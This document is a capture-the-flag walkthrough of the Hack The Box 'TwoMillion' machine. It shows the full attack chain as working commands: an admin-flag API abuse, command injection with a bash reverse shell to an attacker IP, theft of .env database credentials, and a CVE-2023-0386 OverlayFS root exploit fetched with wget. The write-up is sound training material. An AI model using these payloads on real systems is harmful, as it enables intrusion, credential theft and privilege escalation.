TwoMillion

Tools

  • commix

Getting User

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/hackthebox/twomillion]
└─$ sudo nmap -sC -sV -p80,22 10.129.229.66
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-04 04:49 EST
Nmap scan report for 10.129.229.66
Host is up (0.26s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.33 seconds

Foothold

added the vhost to hosts file
echo '10.129.229.66 2million.htb' | sudo tee -a /etc/hosts

after going through the website, i found the following script in http://2million.htb/invite which tells me there’s a /register route

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<script defer>
$(document).ready(function() {
$('#verifyForm').submit(function(e) {
e.preventDefault();

var code = $('#code').val();
var formData = { "code": code };

$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
if (response[0] === 200 && response.success === 1 && response.data.message === "Invite code is valid!") {
// Store the invite code in localStorage
localStorage.setItem('inviteCode', code);

window.location.href = '/register';
} else {
alert("Invalid invite code. Please try again.");
}
},
error: function(response) {
alert("An error occurred. Please try again.");
}
});
});
});
</script>

I went to http://2million.htb/register and tried to register but it failed because the invite code variable is empty
so i added the inviteCode item with a random value to local storage but it also failed with an error saying Code is invalid!

there’s <script defer src="/js/inviteapi.min.js"></script> with obfuscated code using Dean Edwards p.a.c.k.e.r method
used this online tool to unpack the code https://tools.webuddha.com/jsPackerUnpack/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function verifyInviteCode(code)  
{
    var formData = {
        "code" : code
    };
    $.ajax(
    {
        type : "POST", dataType : "json", data : formData, url : '/api/v1/invite/verify',
        success : function (response)
        {
            console.log(response)
        },
        error : function (response)
        {
            console.log(response)
        }
    })
}
function makeInviteCode()
{
    $.ajax(
    {
        type : "POST", dataType : "json", url : '/api/v1/invite/how/to/generate',
        success : function (response)
        {
            console.log(response)
        },
        error : function (response)
        {
            console.log(response)
        }
    })
}

it looks like i can generate a code from this route /api/v1/invite/how/to/generate

1
2
3
┌──(kali㉿kali)-[~]
└─$ curl http://2million.htb/api/v1/invite/how/to/generate -X POST
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}

the data in the response is encrypted with ROT13 which i decrypted using this online tool https://cryptii.com/pipes/rot13-decoder

1
In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate

the decrypted text shows a new route /api/v1/invite/generate

this api route gives me a base64 encoded code

1
2
3
┌──(kali㉿kali)-[~]
└─$ curl http://2million.htb/api/v1/invite/generate -X POST
{"0":200,"success":1,"data":{"code":"SFJRMkMtNk5HRkktNTlFUlEtN0gwUk4=","format":"encoded"}}

decrypted it and got the plain text code

1
2
3
┌──(kali㉿kali)-[~]
└─$ echo 'SFJRMkMtNk5HRkktNTlFUlEtN0gwUk4=' | base64 -d
HRQ2C-6NGFI-59ERQ-7H0RN

now i can register and login to the dashboard

i didn’t find anything useful going through the pages

i went to /api/v1 route and it shows API route list and /api/v1/admin/settings/update looks interesting

making a request with empty body gives me the missing parameter

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/hackthebox/twomillion]
└─$ curl -X PUT http://2million.htb/api/v1/admin/settings/update \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Cookie: PHPSESSID=cdtjooq9k0628hbme763jlt5c5" \
-d '{}'
{"status":"danger","message":"Missing parameter: email"}

passing the email parameter gives me another missing parameter

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/hackthebox/twomillion]
└─$ curl -X PUT http://2million.htb/api/v1/admin/settings/update \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Cookie: PHPSESSID=cdtjooq9k0628hbme763jlt5c5" \
-d '{"email": "dead@byte.com"}'
{"status":"danger","message":"Missing parameter: is_admin"}

passing the 'is_admin': 1 has set my account to admin

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/hackthebox/twomillion]
└─$ curl -X PUT http://2million.htb/api/v1/admin/settings/update \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Cookie: PHPSESSID=cdtjooq9k0628hbme763jlt5c5" \
-d '{"email": "dead@byte.com","is_admin":1}'
{"id":13,"username":"deadbyte","is_admin":1}

i can now generate vpn for a specific user

1
2
3
4
5
┌──(kali㉿kali)-[~/htb/2million]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate \-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Cookie: PHPSESSID=lpp60n8938ka23jp9tifpddch8" \
-d '{"username":"deadbyte"}'

using commix i see that’s this api route is vulnerable to command injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(kali㉿kali)-[~/htb/2million]
└─$ commix \
-u http://2million.htb/api/v1/admin/vpn/generate \
--method POST \
--data='{"username":"*"}' \
--cookie='PHPSESSID=lpp60n8938ka23jp9tifpddch8' \
--batch

__
___ ___ ___ ___ ___ ___ /\_\ __ _
/`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ v3.9-stable
/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> </
\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\ https://commixproject.com
\/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (@commixproject)

+--
Automated All-in-One OS Command Injection Exploitation Tool
Copyright © 2014-2024 Anastasios Stasinopoulos (@ancst)
+--

(!) Legal disclaimer: Usage of commix for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

[13:42:41] [info] Testing connection to the target URL.
Custom injection marker (*) found in POST body. Do you want to process it? [Y/n] > Y
[13:42:45] [info] Performing identification checks to the target URL.
[13:42:45] [info] Setting the Unix-like based payloads.
JSON data found in POST data. Do you want to process it? [Y/n] > Y
[13:42:46] [info] Setting POST (JSON) parameter 'username' for tests.

[13:44:17] [warning] Heuristic (basic) tests shows that POST (JSON) parameter 'username' might not be injectable.
[13:44:28] [info] Testing the (results-based) classic command injection technique.
[13:44:28] [info] POST (JSON) parameter 'username' appears to be injectable via (results-based) classic command injection technique.
|_ ;echo QOKDOE$((16+42))$(echo QOKDOE)QOKDOE
POST (JSON) parameter 'username' is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > Y
Pseudo-Terminal Shell (type '?' for available options)
commix(os_shell) >

i tried sleep command to confirm it works, which it does

1
2
3
4
5
6
┌──(kali㉿kali)-[~/htb/2million]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Cookie: PHPSESSID=lpp60n8938ka23jp9tifpddch8" \
-d '{"username":"; sleep 5"}'

i opened a tcp listener to receive the shell nc -lnvp 1111
then injected a bash reverse payload

1
2
3
4
5
6
┌──(kali㉿kali)-[~/htb/2million]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Cookie: PHPSESSID=lpp60n8938ka23jp9tifpddch8" \
-d "{\"username\":\"; bash -c 'bash -i >& /dev/tcp/10.10.16.253/1111 0>&1'\"}"

after gaining shell i found .env file in the html directory that contains admin user credentials

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@2million:~/html$ ls -lah
ls -lah
total 56K
drwxr-xr-x 10 root root 4.0K Feb 4 19:10 .
drwxr-xr-x 3 root root 4.0K Jun 6 2023 ..
-rw-r--r-- 1 root root 87 Jun 2 2023 .env
-rw-r--r-- 1 root root 1.3K Jun 2 2023 Database.php
-rw-r--r-- 1 root root 2.8K Jun 2 2023 Router.php
drwxr-xr-x 5 root root 4.0K Feb 4 19:10 VPN
drwxr-xr-x 2 root root 4.0K Jun 6 2023 assets
drwxr-xr-x 2 root root 4.0K Jun 6 2023 controllers
drwxr-xr-x 5 root root 4.0K Jun 6 2023 css
drwxr-xr-x 2 root root 4.0K Jun 6 2023 fonts
drwxr-xr-x 2 root root 4.0K Jun 6 2023 images
-rw-r--r-- 1 root root 2.7K Jun 2 2023 index.php
drwxr-xr-x 3 root root 4.0K Jun 6 2023 js
drwxr-xr-x 2 root root 4.0K Jun 6 2023 views
www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
www-data@2million:~/html$

which i used to ssh into the machine to get the user flag

1
2
3
4
5
6
──(kali㉿kali)-[~/htb/2million]
└─$ ssh admin@2million.htb
admin@2million.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

admin@2million:~$

Getting Root

Information Gathering

i connected to mysql using the db credentials from the .env file

1
2
3
4
admin@2million:/$ mysql -u admin --database htb_prod -p
Enter password:

MariaDB [htb_prod]>

there’s users table with 2 other users

1
2
3
4
5
6
7
8
9
10
11
MariaDB [htb_prod]> select * from users;
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| id | username | email | password | is_admin |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| 11 | TRX | trx@hackthebox.eu | $2y$10$TG6oZ3ow5UZhLlw7MDME5um7j/7Cw1o6BhY8RhHMnrr2ObU3loEMq | 1 |
| 12 | TheCyberGeek | thecybergeek@hackthebox.eu | $2y$10$wATidKUukcOeJRaBpYtOyekSpwkKghaNYr5pjsomZUKAd0wbzw4QK | 1 |
| 13 | deadbyte | dead@byte.com | $2y$10$ZJUj5HK71OsmvJeWOf3eJuNZEYtMKiosOiZ6OepY0uzADoylWV8.K | 1 |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
3 rows in set (0.001 sec)

MariaDB [htb_prod]>

created hashes.txt with the hashed passwords i found to crack them with john

1
2
echo '''$2y$10$TG6oZ3ow5UZhLlw7MDME5um7j/7Cw1o6BhY8RhHMnrr2ObU3loEMq
quote> $2y$10$wATidKUukcOeJRaBpYtOyekSpwkKghaNYr5pjsomZUKAd0wbzw4QK''' > hashes.txt

i wasnt able to crack them

looking at env info i see PWD=/var/mail

1
admin@2million:/var/mail$ (env || set) 2>/dev/null

i find an email that tells me the system is vulnerable to OverLayFS / FUSE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

the CVE they’re mentioning is CVE-2023-0386

Privilege Escalation

i found this PoC

following the instructions in the repo, i compiled the code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
──(kali㉿kali)-[~/htb/2million/CVE-2023-0386]
└─$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function ‘main’:
fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
214 | while (read(fd, content + clen, 1) > 0)
| ^~~~
| fread
fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
216 | close(fd);
| ^~~~~
| pclose
fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
221 | rmdir(mount_path);
| ^~~~~
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xb1af): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c

then started an http server with python to serve the files i compiled

1
2
──(kali㉿kali)-[~/htb/2million/CVE-2023-0386]
└─$ python -m http.server 80

downloaded the binaries in the target machine

1
2
3
wget 10.10.16.253/fuse
wget 10.10.16.253/getshell
wget 10.10.16.253/gc

first, ./fuse ./ovlcap/lower ./gc needs to run in the background and then i have to run ./exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
admin@2million:/tmp$ ./fuse ./ovlcap/lower ./gc &
[1] 40870
admin@2million:/tmp$ [+] len of gc: 0x3ef0

admin@2million:/tmp$ ./exp
uid:1000 gid:1000
[+] mount success
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root root 4096 Feb 4 21:09 .
drwxrwxr-x 6 root root 4096 Feb 4 21:09 ..
-rwsrwxrwx 1 nobody nogroup 16112 Jan 1 1970 file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)

the exploit was successful and i can now get the root flag